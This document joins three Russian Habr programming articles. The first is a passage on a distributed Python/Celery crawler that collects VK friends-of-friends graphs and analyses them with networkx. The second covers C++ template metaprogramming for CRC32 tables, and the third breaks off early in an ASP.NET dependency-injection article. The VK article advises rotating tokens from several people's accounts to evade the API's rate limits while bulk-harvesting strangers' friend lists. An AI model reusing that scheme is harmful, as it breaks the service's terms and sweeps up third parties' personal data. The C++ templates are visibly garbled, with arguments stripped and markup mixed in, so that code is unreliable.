* Python 3.4
* Хранимые процедуры в ВКонтакте
#### Задаем нужную нам глубину
Что нам потребуется в начале — это указать глубину (**deep**), с которой мы хотим работать. Сделать это можно сразу в **settings.py**:
```
deep = 2 # такая строчка там уже есть
```
**deep** равное 1 — это наши друзья, 2 — это друзья наших друзей и так далее. В итоге мы получим словарь, ключами которого будут id пользователей, а значениями — их список друзей.
Не спешите выставлять большие значения глубины. При 14 моих исходных друзьях и глубине равной 2, количество ключей в словаре составило 2427, а при глубине, равной 3, у меня не хватило терпения дождаться завершения работы скрипта, на тот момент словарь насчитывал 223 908 ключей. По этой причине мы не будем визуализировать такой огромный граф, ведь вершинами будут ключи, а ребрами — значения.
#### Отправление данных
Добиться нужного нам результата поможет уже известный метод [friends.get](https://vk.com/dev/friends.get), который будет расположен в хранимой процедуре, имеющей следующий вид:
```
var targets = Args.targets;
var all_friends = {};
var req;
var parametr = "";
var start = 0;
// из строки с целями вынимаем каждую цель
while(start<=targets.length){
if (targets.substr(start, 1) != "," && start != targets.length){
parametr = parametr + targets.substr(start, 1);
}
else {
// сразу делаем запросы, как только вытащили id
req = API.friends.get({"user_id":parametr});
if (req) {
all_friends = all_friends + [req];
}
else {
all_friends = all_friends + [0];
}
parametr = "";
}
start = start + 1;
}
return all_friends;
```
Напоминаю, что хранимую процедуру можно создать в [настройках приложения](https://vk.com/editapp?id=IDприложения§ion=functions), пишется она на **VkScript**, как и **execute**, документацию можно прочесть [здесь](https://vk.com/dev/execute) и [здесь](https://vk.com/pages.php?o=-1&p=execute).
Теперь о том, как она работает. Мы принимаем строку из 25 id, разделенных запятыми, вынимаем по одному id, делаем запрос к **friends.get**, а нужная нам информация будет приходить в словаре, где ключи — это id, а значения — список друзей данного id.
При первом запуске мы отправим хранимой процедуре список друзей текущего пользователя, id которого указан в настройках. Список будет разбит на несколько частей (N/25 — это и число запросов), связано это с ограничением количества обращений к API ВКонтакте.
#### Получение ответа
Всю полученную информацию мы сохраняем в словаре, например:
```
{1:(0, 2, 3, 4), 2: (0, 1, 3, 4), 3: (0, 1, 2)}
```
Ключи 1, 2 и 3 были получены при глубине, равной 1. Предположим, что это и были все друзья указанного пользователя (0).
Если глубина больше 1, то далее воспользуемся разностью множеств, первое из которых — значения словаря, а второе — его ключи. Таким образом, мы получим те id (в данном случае 0 и 4), которых нет в ключах, разобьем их опять на 25 частей и отправим хранимой процедуре.
Тогда в нашем словаре появятся 2 новых ключа:
```
{1:(0, 2, 3, 4), 2: (0, 1, 3, 4), 3: (0, 1, 2), 0: (1, 2, 3), 4:(1, 2, ….)}
```
Сам же метод **deep\_friends()** выглядит следующим образом:
```
def deep_friends(self, deep):
result = {}
def fill_result(friends):
for i in VkFriends.parts(friends):
r = requests.get(self.request_url('execute.deepFriends', 'targets=%s' % VkFriends.make_targets(i))).json()['response']
for x, id in enumerate(i):
result[id] = tuple(r[x]["items"]) if r[x] else None
for i in range(deep):
if result:
# те айди, которых нет в ключах + не берем id:None
fill_result(list(set([item for sublist in result.values() if sublist for item in sublist]) - set(result.keys())))
else:
fill_result(requests.get(self.request_url('friends.get', 'user_id=%s' % self.my_id)).json()['response']["items"])
return result
```
Конечно, это быстрее, чем кидать по одному id в **friends.get** без использования хранимой процедуры, но времени все равно занимает порядочно много.
Если бы **friends.get** был похож на **users.get**, а именно мог принимать в качестве параметра **user\_ids**, то есть перечисленные через запятую id, для которых нужно вернуть список друзей, а не по одному id, то код был бы намного проще, да и количество запросов было в разы меньше.
#### Слишком медленно
Возвращаясь к началу статьи, могу снова повторить — очень медленно. Хранимые процедуры не спасают, решение [alxpy](https://github.com/alxpy) с многопоточностью (спасибо ему за вклад и участие ~~хоть кому-то было интересно, кроме меня~~) ускоряло на несколько секунд работу программы, но хотелось большего.
Мудрый совет получил от [igrishaev](http://habrahabr.ru/users/igrishaev/) — нужен какой-то мап-редьюс.
Дело в том, что ВКонтакте разрешает 25 запросов к API через **execute**, из этого следует, что если делать запросы с разных клиентов, то мы можем увеличить количество допустимых запросов. 5 тачек — это уже 125 запросов в секунду. Но и это далеко не так. Забегая вперед, скажу, что можно и еще быстрее, примерно будет выглядеть следующим образом (на каждой машине):
```
while True:
r = requests.get(request_url('execute.getMutual','source=%s&targets=%s' % (my_id, make_targets(lst)),access_token=True)).json()
if 'response' in r:
r = r["response"]
break
else:
time.sleep(delay)
```
Если нам приходит сообщение об ошибке, то мы делаем запрос снова, спустя заданное количество секунд. Такой прием работает какое-то время, но затем ВКонтакте начинает присылать во всех ответах **None**, поэтому после каждого запроса честно будем ждать 1 секунду. Пока что.
Далее нам надо выбрать новые инструменты или же написать свои, чтобы реализовать задуманное. В итоге у нас должна получиться горизонтально масштабируемая система, принцип работы видится мне следующим образом:
* Главный сервер получает от клиента его id ВКонтакте и код операции: либо вытащить всех общих друзей, либо рекурсивно прогуляться по списку друзей с указанной глубиной.
* Далее в обоих случаях сервер делает запрос к API ВКонтакте — нам нужен список всех друзей пользователя.
* Поскольку все сделано для того, чтобы мы пользовались по-максимуму возможностями хранимых процедур — здесь надо будет разделить список друзей на части, по 25 контактов в каждой. На самом деле по 75. Об этом чуть ниже.
* У нас получится много частей, используя брокер сообщений будем доставлять каждую часть определенному получателю (producer-consumer).
* Получатели будут принимать контакты, сразу делать запросы, возвращать результат поставщику. Да, вы правильно подумали про RPC.
А если вы видели эту картинку, то понимаете, на какой брокер сообщений я намекаю.
Как только все ответы приняты, объединяем их в один. Далее результат можно будет вывести на экран или вовсе сохранить, об этом позже.
Тут стоит заметить, что код изменится, и если вам было достаточно использовать предыдущую версию проекта, то она так и осталась в неизменном виде. Весь код, который будет ниже, относится к новому релизу.
В качестве брокера сообщений будем использовать **RabbitMQ**, асинхронной распределенной очереди заданий — **Celery**.
Для тех, кто никогда с ними не сталкивался, вот несколько полезных ссылок на материалы, которые советую вам прочитать:
**RabbitMQ**[Часть 1](http://habrahabr.ru/post/149694/)
[Часть 2](http://habrahabr.ru/post/150134/)
[Часть 3](http://habrahabr.ru/post/200870/)
[Часть 4](http://habrahabr.ru/post/201096/)
[Часть 5](http://habrahabr.ru/post/201178/)
[Часть 6](http://habrahabr.ru/post/236221/)
**Celery**[First steps with Celery](http://docs.celeryproject.org/en/latest/getting-started/first-steps-with-celery.html)
Не надо бояться понять, хоть и говорят, что можно конкретно повернуть свою голову, когда начинаешь «думать не одним компьютером, а несколькими», но это вовсе не так.
Если у вас Mac, как и у автора, то **RabbitMQ** шикарно ставится через **Homebrew**:
```
brew update
brew install rabbitmq
```
**Celery** же ставится еще легче, используем третью ветку **Python**:
```
pip3 install Celery
```
У меня **Celery** установлен на Linux Mint, а **RabbitMQ** — на Mac. С виндой, как обычно, проблемы — ~~тяжело найти, легко потерять~~ она почему-то все время не хотела возвращать response моему Mac.
Далее создадим **virtual host**, пользователя и дадим ему права:
```
rabbitmqctl add_vhost vk_friends
rabbitmqctl add_user user password
rabbitmqctl set_permissions -p vk_friends user ".*" ".*" ".*"
```
В конфигурации **RabbitMQ** надо указать ip хоста, на котором он установлен:
```
vim /usr/local/etc/rabbitmq/rabbitmq-env.conf
NODE_IP_ADDRESS=192.168.1.14 // конкретно мой вариант
```
Вот несколько возможных конфигураций, какую выбрать — решать вам.
Если у вас роутер или еще что-то, полезно будет знать, что **RabbitMQ** использует 5672 порт, ну и сделать переадресацию в настройках вашего устройства. Скорее всего, если будете тестировать, то воркеров раскидаете по разным машинам, а им нужно будет использовать брокер, и, если не правильно настроите сеть, **Celery** до **RabbitMQ** так и не достучится.
Очень хорошей новостью является то, что ВКонтакте разрешает делать по 3 запроса в секунду с одного id. Умножим эти запросы на количество возможных обращений к API ВКонтакте (25), получим максимальное число обрабатываемых контактов в секунду (75).
Если у нас будет много воркеров, то настанет момент, когда начнем переходить за дозволенный лимит. Поэтому переменная **token** (в **settings.py**) теперь будет кортежем, содержащим в себе несколько токенов с разных id. Скрипт же будет при каждом запросе к ВКонтакте API выбирать один из них рандомным образом:
```
def request_url(method_name, parameters, access_token=False):
"""read https://vk.com/dev/api_requests"""
req_url = 'https://api.vk.com/method/{method_name}?{parameters}&v={api_v}'.format(
method_name=method_name, api_v=api_v, parameters=parameters)
if access_token:
req_url = '{}&access_token={token}'.format(req_url, token=random.choice(token))
return req_url
```
В этом плане у вас не должно возникнуть сложностей, если есть несколько аккаунтов в ВКонтакте (можно напрячь друзей, родных), у меня не было проблем с 4 токенами и 3 воркерами.
Нет, вам никто не мешает использовать **time.sleep()**, или пример выше с while, но тогда готовьтесь получать сообщения об ошибках (возможны вообще пустые ответы — id:None), или подольше ждать.
Самое интересное из файла **call.py**:
```
def getMutual():
all_friends = friends(my_id)
c_friends = group(mutual_friends.s(i) for i in parts(list(all_friends[0].keys()), 75))().get()
result = {k: v for d in c_friends for k, v in d.items()}
return cleaner(result)
def getDeep():
result = {}
for i in range(deep):
if result:
# те айди, которых нет в ключах + не берем id:None
lst = list(set([item for sublist in result.values() if sublist for item in sublist]) - set(result.keys()))
d_friends = group(deep_friends.s(i) for i in parts(list(lst), 75))().get()
result = {k: v for d in d_friends for k, v in d.items()}
result.update(result)
else:
all_friends = friends(my_id)
d_friends = group(deep_friends.s(i) for i in parts(list(all_friends[0].keys()), 75) )().get()
result = {k: v for d in d_friends for k, v in d.items()}
result.update(result)
return cleaner(result)
```
Как видите, в 2 функциях мы используем [groups()](http://celery.readthedocs.org/en/latest/userguide/canvas.html#groups), который параллельно запускает несколько заданий, после чего мы «склеиваем» ответ. Помните, как **deep\_friends()** выглядел вначале (там уж очень старый пример — даже без многопоточности)? Смысл остался тем же — мы используем разность множеств.
И, наконец, **tasks.py**. Когда-нибудь эти замечательные функции объединятся в одну:
```
@app.task
def mutual_friends(lst):
"""
read https://vk.com/dev/friends.getMutual and read https://vk.com/dev/execute
"""
result = {}
for i in list(parts(lst, 25)):
r = requests.get(request_url('execute.getMutual', 'source=%s&targets=%s' % (my_id, make_targets(i)), access_token=True)).json()['response']
for x, vk_id in enumerate(i):
result[vk_id] = tuple(i for i in r[x]) if r[x] else None
return result
@app.task
def deep_friends(friends):
result = {}
for i in list(parts(friends, 25)):
r = requests.get(request_url('execute.deepFriends', 'targets=%s' % make_targets(i), access_token=True)).json()["response"]
for x, vk_id in enumerate(i):
result[vk_id] = tuple(r[x]["items"]) if r[x] else None
return result
```
Когда все настроено, запускаем **RabbitMQ** командой:
```
rabbitmq-server
```
Затем переходим в папку проекта и активируем воркера:
```
celery -A tasks worker --loglevel=info
```
Теперь, чтобы получить и сохранить список общих или «глубинных» друзей, достаточно скомандовать в консоли:
```
python3 call.py
```
#### О результатах измерений
Напомню, что у автора [статьи](http://habrahabr.ru/post/216831/), которая вдохновила меня на [первую часть](http://habrahabr.ru/post/221251/), **343 друга** (запрос на общих друзей) «обрабатывались» за **119 секунд**.
Мой вариант из [предыдущей статьи](http://habrahabr.ru/post/221251/) делал то же самое за **9 секунд**.
Сейчас у того автора другое число друзей — 308. Что же, придется сделать один лишний запрос для последних восьми id, потратить на него драгоценную секунду, хотя за ту же секунду можно обработать 75 id.
С одним воркером работа скрипта заняла **4.2 секунды**, с двумя воркерами — **2.2 секунды**.
Если 119 округлим до 120, а 2.2 до 2, то мой вариант работает **в 60 раз быстрее**.
Что касается «глубинных друзей» (друзья моих друзей и так далее + тестируем на другом id, чтобы ждать меньше) — при глубине, равной 2, количество ключей в словаре составило 1 251.
Время выполнение кода, приведенного в самом начале статьи, — **17.9 секунды**.
Одним воркером время выполнения скрипта — **15.1 секунды**, с двумя воркерами — **8.2 секунды**.
Таким образом, **deep\_friends()** стал быстрее примерно **в 2.18 раза**.
Да, не всегда результат такой радужный, иногда ответа на один запрос в ВКонтакте приходится ждать и по 10, и по 20 секунд (хотя частое время выполнения одного задания **1.2 — 1.6 секунд**), скорее всего, это связано с нагрузкой на сервис, ведь мы не одни во вселенной.
В итоге, чем больше воркеров сделать, тем быстрее будет обрабатываться результат. Не забудьте про мощность своего железа, дополнительные токены, сеть (например, у автора резко возрастало время выполнения скрипта, когда он юзал свой айфон в качестве точки доступа) и иные факторы.
#### Сохранение результата
Да, есть много графо-ориентированных БД. Если в дальнейшем (а оно так и будет), мы захотим анализировать полученные результаты, то все равно их надо будет где-то хранить до самого анализа, потом эти же результаты выгружать в память и производить с ними какие-нибудь действия. Не вижу смысла использовать какую-нибудь субд, если проект был бы коммерческим и нас интересовало, например, что происходит с графом конкретного пользователя на протяжении времени — то да, тут обязательна графо-ориентированная бд, но, поскольку заниматься анализом будем в «домашних условиях», [pickle](https://docs.python.org/3.4/library/pickle.html) нам хватит вполне.
Перед сохранением словарей логично будет удалять из них ключи, значения которых **None**. Это заблокированные или удаленные аккаунты. Проще говоря, эти id будут присутствовать в графе, потому что они есть у кого-то в друзьях, ну а мы сэкономим на количестве ключей в словаре:
```
def cleaner(dct):
return {k:v for k, v in dct.items() if v != None}
def save_or_load(myfile, sv, smth=None):
if sv and smth:
pickle.dump(smth, open(myfile, "wb"))
else:
return pickle.load(open(myfile, "rb"))
```
Как видно, если мы где-то сохранили результат, то где-то и должны его загрузить, дабы заново не собирать id.
#### Анализ графа
Чтобы не писать свой велосипед, воспользуемся довольно известным **networkx**, который сделает за нас всю ~~грязную~~ работу. Больше узнать про **networkx** вы можете из этой [статьи](http://habrahabr.ru/post/125898/).
```
pip3 install networkx
```
Прежде чем начнем анализировать граф, нарисуем его. **networkx** для этого понадобится **matplotlib**:
```
pip3 install matplotlib
```
Далее нам надо создать сам граф. Вообще, есть 2 пути.
Первый сожрет много оперативной памяти и вашего времени:
```
def adder(self, node):
if node not in self.graph.nodes():
self.graph.add_node(node)
self.graph = nx.Graph()
for k, v in self.dct.items():
self.adder(k)
for i in v:
self.adder(i)
self.graph.add_edge(k, i)
```
И это не автор выжил из ума, нет. Подобный пример приводится на [странице](https://www.clear.rice.edu/comp200/resources/howto/networkx.shtml) университета Райса (**Rice University**), под заголовком *Convert Dictionary Graph Representation into networkx Graph Representation*:
```
def dict2nx(aDictGraph):
""" Converts the given dictionary representation of a graph,
aDictGraph, into a networkx DiGraph (directed graph) representation.
aDictGraph is a dictionary that maps nodes to its
neighbors (successors): {node:[nodes]}
A DiGraph object is returned.
"""
g = nx.DiGraph()
for node, neighbors in aDictGraph.items():
g.add_node(node) # in case there are nodes with no edges
for neighbor in neighbors:
g.add_edge(node, neighbor)
return g
```
Можете поверить мне на слово, граф строился целый вечер, когда в нем было уже более 300 000 вершин, мое терпение лопнуло. ~~Если вы прошли [курс](https://www.coursera.org/course/interactivepython) на Сoursera по Python от этого университета, то понимаете, о чем я. А я всем на курсе говорил, что не так людей учат, ну да ладно.~~
Да, приводится пример для ориентированного графа, но суть остается той же — сначала добавляем ключи, делая их вершинами, потом делаем вершинами значения, и то если их еще нет в графе, а потом соединяем их ребрами (в моем варианте).
А второй способ сделает все за секунды:
```
self.graph = nx.from_dict_of_lists(self.dct)
```
Код лежит в файле **graph.py**, чтобы нарисовать граф общих друзей достаточно запустить этот скрипт или же где-нибудь создать экземпляр класса **VkGraph()**, а затем вызвать его метод **draw\_graph()**.
Это граф общих друзей, всего 306 вершин и 2096 ребер. К сожалению, я ни разу не дизайнер (практически все настройки стандартные), но вы всегда сможете стилизовать граф «под себя». Вот пара ссылок:
* [Figure API](http://matplotlib.org/api/figure_api.html)
* [Draw Networkx](http://networkx.github.io/documentation/latest/reference/generated/networkx.drawing.nx_pylab.draw_networkx.html#networkx.drawing.nx_pylab.draw_networkx)
А сам метод выглядит так:
```
def draw_graph(self):
plt.figure(figsize=(19,19), dpi=450,)
nx.draw(self.graph, node_size=100, cmap=True)
plt.savefig("%s graph.png" % datetime.now().strftime('%H:%M:%S %d-%m-%Y'))
```
В итоге вы получаете картинку **date graph.png** в папке проекта. Не советую рисовать граф для глубинных друзей. При **308** друзьях и глубиной равной 2, в словаре оказалось более **145 000** ключей. А есть ведь еще и значения — кортежи с id, которых вряд ли будет мало.
Долго искал самый малосодержащий друзей профиль в ВКонтакте, хотя тут важнее — друзья-друзей. 10 начальных друзей (1 из них заблокированный и автоматически удалится), при нашей стандартной глубине (2), в словаре насчитывалось **1234** ключа и **517 174** id (из значений). Примерно **419** друзей у одного id. Да, там есть и общие друзья, когда построим граф, мы это поймем:
```
deep_friends = VkGraph(d_friends_dct)
print('Количество вершин:', deep_friends.graph.number_of_nodes())
print('Количество ребер:', deep_friends.graph.number_of_edges())
```
Вернет:
```
Количество вершин: 370341
Количество ребер: 512949
```
С такими большими данными было бы неплохо поиграться. У **networkx** очень большой [список алгоритмов](https://networkx.github.io/documentation/networkx-1.9/reference/algorithms.html), которые можно применять к графам. Разберем **некоторые** из них.
##### Связный граф
Для начала определим, связный ли у нас граф:
```
print('Связный граф?', nx.is_connected(deep_friends.graph))
```
Связный граф — это такой граф, в котором любая пара вершин соединена маршрутом.
Кстати, у того же самого id при глубине, равной 1, вот такой красивый граф, содержащий 1268 вершин и 1329 ребер:
Вопрос знатокам. Раз у нас получается граф друзья-друзей, он по-любому должен быть связным. Не может быть такого, чтобы из ниоткуда появлялась вершина, которая не связана ни с одной из существующих. Однако мы видим справа одну вершину, которая не соединена ни с одной. Почему? Призываю сначала подумать, интереснее будет узнать истину.
**Правильный ответ**Давайте разберемся. Сначала берется список друзей, и получается так, что есть у нас id X. Из-за которого граф несвязный. Далее мы делаем запрос на друзей этого X (в глубину ведь). Так вот если у X все друзья скрытые, то будет запись в словаре:
```
{X:(), ...}
```
Когда будет строится граф, мы честно добавим вершину X, но никаких ребер у нее не будет. Да, чисто теоретически у вершины X должно быть ребро с вершиной, id которой указан в **settings.py**, но вы же внимательно читали — мы добавляем только то, что находится в словаре. Следовательно, при глубине, равной 2, мы получим в словаре id, указанный в настройках. И тогда у вершины X появятся ребра.
Будем считать, что у вас не будет такой ситуации, то есть скорее всего вы увидите **True**.
##### Диаметр, центр и радиус
Вспомним, что **диаметром графа** называется максимальное расстояние между двумя его вершинами.
```
print('Диамерт графа:', nx.diameter(deep_friends.graph))
```
**Центр графа** — это любая вершина, такая, что расстояние от нее до наиболее отдаленной вершины минимально. Центром графа может быть одна вершина или несколько вершин. Или проще. Центр графа — вершина, эксцентриситет (расстояние от этой вершины до самой удаленной от нее) которой равен радиусу.
```
print('Центр графа:', nx.center(deep_friends.graph))
```
Вернет список вершин, которые являются центром графа. Не удивляйтесь, если центром окажется id, указанный в **settings.py**.
**Радиус графа** — это наименьший из эксцентриситетов всех вершин.
```
print('Радиус графа:', nx.radius(deep_friends.graph))
```
##### Авторитетность или Page Rank
Этот тот самый **Page Rank**, о котором вы подумали. Как правило, алгоритм используется для веб-страничек или иных документов, связанных ссылками. Чем больше ссылок на страницу, тем она важнее. Но никто не запрещает использовать этот алгоритм для графов. Более точное и подходящее определение позаимствуем из этой [статьи](http://geektimes.ru/post/81225/):
> Авторитетность в социальном графе можно анализировать разными способами. Самый простой — отсортировать участников по количеству входящих ребер. У кого больше — тот больше авторитетен. Такой способ годен для небольших графов. В поиске по Интернету Google в качестве одного из критериев для авторитетности страниц использует PageRank. Он вычисляется при помощи случайного блуждания по графу, где в качестве узлов — страницы, а ребро между узлами — если одна страница ссылается на другую. Случайный блуждатель двигается по графу и время от времени перемещается на случайный узел и начинает блуждание заново. PageRank равен доли пребывания на каком-то узле за все время блуждания. Чем он больше, тем узел более авторитетен.
```
import operator
print('Page Rank:', sorted(nx.pagerank(deep_friends.graph).items(), key=operator.itemgetter(1), reverse=True))
```
##### Коэффициент кластеризации
Цитируя Википедию:
> Коэффициент кластеризация — это степень вероятности того, что два разных пользователя, связанные с конкретным индивидуумом, тоже связаны.
```
print('Коэффициент кластеризации', nx.average_clustering(deep_friends.graph))
```
Как видите, нет ничего сложного, и **networkx** предлагает еще много [алгоритмов](https://networkx.github.io/documentation/networkx-1.9/reference/algorithms.html) (автор насчитал 148), которые можно применять к графам. Вам остается лишь выбрать нужный вам алгоритм и вызвать соответствующий метод в файле **graph.py**.
#### Итог
Мы сделали распределенную систему, позволяющую собирать и строить граф общих друзей в ВКонтакте, которая работает в 60 раз быстрее (в зависимости от количества воркеров), чем предложенный [вариант](http://habrahabr.ru/post/216831/) от [Himura](http://habrahabr.ru/users/himura/), также реализовали новую функцию — запрос всех «глубинных друзей», добавили возможность анализа построенных графов.
Если вы не хотите ставить дополнительное ПО и вам надо построить красивый граф общих друзей из предыдущей [статьи](http://habrahabr.ru/post/221251/), то [старый релиз](https://github.com/stleon/vk_friends/releases/tag/v1.0.0) к вашим услугам. В нем вы также найдете старую версию получения списка друзей пользователя рекурсивно сколь угодно глубоко.
Это вовсе не предел, будут продолжаться работы по увеличению быстродействия программы.
По-прежнему жду от вас вкусных пулл-реквестов, особенно если вы занимаетесь визуализированием данных. Спасибо за внимание! | https://habr.com/ru/post/243229/ | null | ru | null |
# Метапрограммирование в C++
Метапрограммирование — это «программирование программ», то есть написание некой промежуточной программы, результатом которой будет некая часть другой программы. Самый простой пример метапрограммирования — это шаблоны C++. Вместо написания десяти одинаковых функций для разных типов, мы пишем шаблон, и компилятор сам соберет нам эти десять функций.
Другой неявный пример метапрограммирования — это precomputing, вычисления, которые проводятся на этапе компиляции. Если в коде вы напишете
`int i = 2+2*2;`
компилятор (вернее, прекомпилятор), вычислит это значение и передаст компилятору уже готовое
`int i = 6;`
Прекомпилятор пытается вычислить все возможное на этапе компиляции, чтобы разгрузить ран-тайм, в том числе и раскрыть шаблоны. Именно это его свойство позволяет писать очень интересные precomputing штучки, которые будут вычислены на этапе компиляции.
Конкретный пример — это реализация CRC32. Не вдаваясь в детали, приведу ее алгоритм:
```
unsigned long Crc32(unsigned char *buf, unsigned long len)
{
unsigned long crc_table[256];
unsigned long crc;
for (int i = 0; i < 256; i++)
{
crc = i;
for (int j = 0; j < 8; j++)
crc = crc & 1 ? (crc >> 1) ^ 0xEDB88320UL : crc >> 1;
crc_table[i] = crc;
}
crc = 0xFFFFFFFFUL;
while (len--)
crc = crc_table[(crc ^ *buf++) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFFUL;
};
```
Для этого алгоритма нужна таблица из 256 чисел. Логично было бы не вычислять ее при каждом вызове функции, да и вообще, так как таблица определена заранее, записать ее в виде
`long crc_table[256] = {"0x12345678", ... }`
Но это как-то неслишком круто. Посему было решено вынести ее вычисление в compile-time средствами метапрограммирования.
Рассмотрим функцию вычисления таблицы поближе. Она состоит из четырех составляющих:
1. вычисления значения полинома: `crc = crc & 1 ? (crc >> 1) ^ 0xEDB88320UL : crc >> 1;`
2. цикла, повторяющего вычисления «рекурсивно» 8 раз, то есть применяющего первое выражение последовательно для одного и того же алгортима: `for (int j = 0; j < 8; j++)`
3. сохранения вычисленного значения в таблице: `crc_table[i] = crc`
4. и цикла для всей таблицы: `for (int i = 0; i < 256; i++)`
Будем создавать наше вычисление по шагам.
Первый шаг — создание шаблона, который по данному t вычислит значение полинома. Это неслишком сложно:
`template <unsigned long t> struct Polynome { static const unsigned long value = t&1 ? (t>>1)^0xedb88320 : t>>1 }; };`
Данный шаблон принимает на вход unsigned long параметр и превращает его в структуру с определенной внутри константой value.
Следющий шаг — выполнение этого кода в цикле. Для этого определим такой шаблон:
`template <unsigned long t, int i> struct For { static const unsigned long value = For::value, i-1 >::value; };`
Здесь начинается магия.
Мы определили шаблон, который получает два параметра — t, собственно вычисляемое значение, и i — счетчик. Этот шаблон создает структуру с единственной константой value внутри, которая вычисляется… через значение этого же шаблона! Мы получаем рекурсию — шаблон определеятся через самого себя. Для завершения рекурсии, мы воспользуемся частичной специализацией шаблона:
`template <unsigned long t> struct For { static const unsigned long value = Polynome::value; };`
И, наконец, само вычисление — вызов шаблона For с определенным количество итераций:
`template < unsigned long t> struct Hash { static const unsigned long value = For::value; };`
Что же происходит в этих строчках.
Прекомпилятор пытается вычислить все значения констант. Если выражение задано через другие константы — это выражение также является константным и будет вычислено на этапе компиляции. С другой стороны, компилятору от прекомпилятора необходимы полностью специализированные шаблоны, поэтому прекомпилятор будет последовательно раскрывать все шаблоны, попутно вычисляя константы, определенные в них.
Все это очень напоминает вычисление рекурсивных функций в функциональном программировании:
```
polynom x = x & 1 ? (x >> 1) ^ 0xEDB88320UL : x >> 1
for x t = polynom(for x t-1)
for x 0 = polynom(x)
hash x = for x 7
```
(Не уверен в точности написания, но суть, думаю, понята)
Третий и четвертый шаги — создать таблицу вычисленных значений. Опять-таки воспользуемся шаблоном со счетчиком:
`[template<int r, int t> struct Table : Table
{
Table() { values[t]=Hash::value; }
};
template<int r> struct Table
{
unsigned long values[r+1];
Table() { values[0]=Hash<0>::value; }
unsigned long operator[](int i) { return values[i];}
};\* This source code was highlighted with Source Code Highlighter](http://source.virtser.net).`
Здесь происходит переход от препроцессора собственно к коду. Первый шаблон создает рекурсивную иеррахию наследников структур Table, каждый из которых добавляет занчение в таблицу values, соотвествующую своему номеру. Второй шаблон определяет конец рекурсии, собственно саму таблицу values и идексатор для более простого использования этой таблицы.
Последний шаг — это, собственно, объявление самой таблицы
`typedef Table<0,255> CRC\_TABLE;`
Теперь у нас есть структура, которая ведет себя в точности как необходимая нам таблица. Так как все вычисления известны во время компиляции, прекомпилятор раскроет все шаблоны и в конце концов соберет нужную нам таблицу.
Вот так это все выглядит в собранном виде
`[template <unsigned long t> struct Polynome { static const unsigned long value = t&1 ? (t>>1)^0xedb88320 : t>>1; };
template <unsigned long t, int i> struct For { static const unsigned long value = For::value,i-1 >::value; };
template <unsigned long t> struct For { static const unsigned long value = Polynome::value; };
template <unsigned long t> struct Hash { static const unsigned long value = For::value; };
template<int r, int t> struct Table : Table
{
Table() { values[t]=Hash::value; }
};
template<int r> struct Table
{
int values[r+1];
Table() { values[0]=Hash<0>::value; }
int operator[](int i) { return values[i];}
};
typedef Table<0,255> CRC\_TABLE;
class Crc32Hasher
{
CRC\_TABLE crc\_table;
public:
unsigned long GetHashCode(const void\* pObj, size\_t length){
const char\* buf = (const char\*)pObj;
unsigned long crc32=0xffffffff;
for (size\_t i=0; i
crc32=crc\_table[(crc32^(\*buf++))&0xff]^(crc32>>8);
crc32=crc32^0xffffffff;
return crc32;
}
};\* This source code was highlighted with Source Code Highlighter](http://source.virtser.net).`
Для заинтересовавшихся — советую почитать Андрей Александреску «Современное проектирование на С++» ISBN: 5-8459-0351-3 | https://habr.com/ru/post/38622/ | null | ru | null |
# ASP.NET MVC, WebApi, SignalR и UnityContainer
Известно, что все хорошие джедаи используют [внедрение зависимости](http://martinfowler.com/articles/injection.html) ([перевод](http://yugeon-dev.blogspot.ru/2010/07/inversion-of-control-containers-and_21.html)) в своих проектах, это увеличивает концентрацию мидихлориан в крови и тестируемость кода в приложении. В данной статье я хочу рассмотреть некоторые аспекты использования [UnityContainer](http://unity.codeplex.com/) в ASP.NET приложении, а именно, использование инжекции зависимостей через конструкторы контроллеров в ASP.NET MVC и WebApi и хабов в SignalR. Пример приложения присутствует.
#### Теория
Допустим, что у нас есть [открытый универсальный](http://msdn.microsoft.com/ru-ru/library/ms172334.aspx) интерфейс репозитория:
```
public interface IRepository : IDisposable {
IEnumerable GetData();
}
```
И мы очень хотим получить в контроллере экземпляр данного репозитория, но уже с конкретным типом. Я выбрал такой пример специально, так как подобный принцип часто используется при работе с EntityFramework. Кроме этого, он позволяет продемонстрировать те трудности, с которыми можно столкнуться при попытках получить такой тип в контроллере. Рассмотрим возможные варианты.
##### Использование Service Locator
В данном случае мы просто храним экземпляр контейнера в статическом поле и, при необходимости, получаем от него требуемые объекты.
```
public static class Global {
public static readonly IUnityContainer ServiceLocator = new UnityContainer();
}
```
Регистрируем конкретный класс где-нибудь в Global.asax при загрузке приложения.
```
Global.ServiceLocator.RegisterType(typeof(IRepository<>), typeof(Repository<>));
```
Получаем репозиторий в контроллере.
```
public ActionResult Index() {
var repository = Global.ServiceLocator.Resolve>();
var data = repository.GetData();
return View(data);
}
```
Всё работает просто отлично, а количество кода минимально. Проблема в том, что теперь наш контроллер зависит от `Global.ServiceLocator`. Это, конечно, не так страшно, как зависимость от конкретного класса, но тоже может прилично отравить жизнь при тестировании, особенно, если тесты запускаются параллельно в нескольких потоках, и каждый тест хочет использовать свою реализацию репозитория.
##### Использование Dependency Resolver
ASP.NET MVC, WebApi и SignalR предоставляют отличные возможности для расширения, в частности, возможность замены стандартных DependencyResolvers, используемых инфраструктурой для разрешения зависимостей. О том как это сделать, можно почитать следующие статьи:
* [Как это cделать в ASP.NET MVC 4;](http://www.asp.net/mvc/tutorials/hands-on-labs/aspnet-mvc-4-dependency-injection)
* [Как это cделать в Web API](http://www.asp.net/web-api/overview/extensibility/using-the-web-api-dependency-resolver);
* [Как это cделать в SignalR;](http://www.kevgriffin.com/using-unity-for-dependency-injection-with-signalr/)
Во всех случаях нам необходимо создать свой класс, реализующий необходимый `IDependencyResolver` и зарегистрировать его в соответствующей инфраструктуре. Хочу заметить, что в каждом случае данные интерфейсы имеют одно имя, но находятся в разных пространствах имён и имеют немного отличающиеся методы. Но они имеют одну общую черту: если запрашиваемый тип не может быть разрешён, то они возвращают `null`. Или пытаются найти данный тип в `DefaultDependencyResolver`, в случае с SignalR, так как именно в нём происходит регистрация всех компонент его инфраструктуры. Очевидно, что данное поведение кардинально отличается от того, что делает метод `IUnitiContainer.Resolve()`, который в данном случает просто вбросит исключение.
Казалось бы, в чём проблема? Используй метод-расширение `IUnityContainer.IsRegistered()` и, если тип не зарегистрирован, возвращай `null`.
```
public static T TryResolve(this IUnityContainer container) {
var isRegistered = true;
var typeToCheck = typeof (T);
if (typeToCheck.IsInterface || typeToCheck.IsAbstract) {
isRegistered = container.IsRegistered(typeToCheck);
if (!isRegistered && typeToCheck.IsGenericType) {
var openGenericType = typeToCheck.GetGenericTypeDefinition();
isRegistered = container.IsRegistered(openGenericType);
}
